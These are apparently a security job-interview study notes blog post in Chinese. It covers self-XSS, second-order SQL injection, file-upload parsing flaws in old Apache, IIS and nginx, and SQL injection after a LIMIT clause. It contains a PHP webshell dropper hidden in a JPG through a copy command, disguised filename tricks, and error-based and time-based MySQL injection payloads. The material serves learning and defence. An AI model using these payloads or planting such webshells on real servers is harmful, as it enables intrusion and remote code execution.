安全面试总结
安全面試總結
?
記錄下我這次面試過程中不會的內容,有待之后學習,有些還沒有總結完
1. self-xss
Self-XSS(自跨站腳本攻擊)是一種由受害者自己輸入XSS payload觸發(fā)才能成功的XSS攻擊行為,這種攻擊可基于DOM,或是建立在僅該用戶可操作或可見的域。
比較雞肋,經(jīng)常和CSRF一起使用效果不錯
這里有一個關于self-xss結合csrf的實例?
雞肋CSRF和Self-XSS組合的變廢為寶
2. sql二次注入
1. 什么是二次注入
二次注入是指已存儲(數(shù)據(jù)庫、文件)的用戶輸入被讀取后再次進入到 SQL 查詢語句中導致的注入。
2. 二次注入的原理
在第一次進行數(shù)據(jù)庫插入數(shù)據(jù)的時候,僅僅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 對其中的特殊字符進行了轉義,在寫入數(shù)據(jù)庫的時候還是保留了原來的數(shù)據(jù),但是數(shù)據(jù)本身還是臟數(shù)據(jù),轉義的數(shù)據(jù)存入數(shù)據(jù)庫后被還原。
在將數(shù)據(jù)存入到了數(shù)據(jù)庫中之后,開發(fā)者就認為數(shù)據(jù)是可信的。在下一次進行需要進行查詢的時候,直接從數(shù)據(jù)庫中取出了臟數(shù)據(jù),沒有進行進一步的檢驗和處理,這樣就會造成SQL的二次注入。比如在第一次插入數(shù)據(jù)的時候,數(shù)據(jù)中帶有單引號,直接插入到了數(shù)據(jù)庫中;然后在下一次使用中在拼湊的過程中,就形成了二次注入。
3. 上傳解析漏洞
1. apache解析漏洞
apache中間件早期版本在解析 shell.php.x1.x2.x3的文件時,是從右往左開始解析,如果遇到不認識的后綴名,就在往左解析,x3無法解析,接著往左判斷x2也不可解析,最后直到PHP后綴解析成功?
“`?
example:www.xxx.com/shell.php.x1.x2.x3
- 1
- 2
- 3
- 4
- 5
- 6
- 7
example:www.xxx.com/xxx.asp/xxx.jpg?
“`?
IIS服務器會把.asp或.asa目錄下的文件都解析成asp文件。對于/xxx.asp/xxx.jpg(xxx.jpg可替換成任意文本文件),IIS 6.0會將xxx.jpg解析成asp文件。
2、文件解析
example:www.xxx.com/xxx.asp;.jpg- 1
只要文件文件名中有.asp,就會優(yōu)先按asp來解析。例如,對于xxx.asp;.jpg(需要抓包需改文件名),IIS 6.0都會把這種文件解析成asp文件。(xxx.asp;.jpg這類文件在windows下不允許存在,;.jpg會被自動除去)
3、IIS 6.0除了asp還可以解析 .asa .cer .cdx類型的文件
例如:?
- /xxx.asa?
- /xxx.cer?
- /xxx.cdx?
在IIS默認配置中,這幾個后綴都由asp.dll來解析
2. IIS 7.0/7.5 Nginx <8.03
主要是在對php解析時存在類似于nginx的解析漏洞,并且需要處于Fast-CGI開啟狀態(tài)。這種漏洞的利用方式是在任意文件名的URL后追加字符串”/任意文件名.php”,那么就會按照php的方式來解析。
利用方式
copy xxx.jpg/b + xxx.txt/a yyy.jpg- 1
xxx.txt的內容為
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST[cmd])?>');?>- 1
IIS 7.0/7.5下的解析漏洞是由于php-cgi本身的問題導致的,與IIS自身并沒有直接關系。
3. nginx解析漏洞
目前nginx的解析漏洞利用方式基本上和apache,IIS一致,一個是對于任意文件名加/任意文件名.php的解析漏洞,如原文件名是test.jpg,可以添加為test.jpg/x.php進行解析。還有一種是針對低版本的nginx,可以在任意文件名后面添加%00.php進行解析。?
主要影響的版本有:?
- nginx 0.5.*?
- nginx 0.6.*?
- nginx 0.7<=0.7.65?
- nginx 0.8<=0.8.37?
任意文件名/任意文件名.php這個漏洞是出自php-cgi的漏洞,與nginx本身無關
4. sql注入點在limit處該如何使用
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 【注入點】- 1
limit 關鍵字后面還有 PROCEDURE 和 INTO 關鍵字,into 關鍵字可以用來寫文件,但這在本文中不重要,這里的重點是 PROCEDURE 關鍵字.MySQL默認可用的存儲過程只有 ANALYSE (doc)。
嘗試了如下payload :
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'- 1
- 2
- 3
上面的方法就是常見的報錯注入,所以,如果注入點支持報錯,那所有問題都ok,但是如果注入點不是報錯的,還可以使用 time-based 的注入,payload 如下:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)- 1
這里不能用sleep而只能用 BENCHMARK,sleep 在ANALYSE 中沒有被執(zhí)行。
總結
- 上一篇: laravel8 邮件发送 以qq邮箱来
- 下一篇: 十大WIFI提速技巧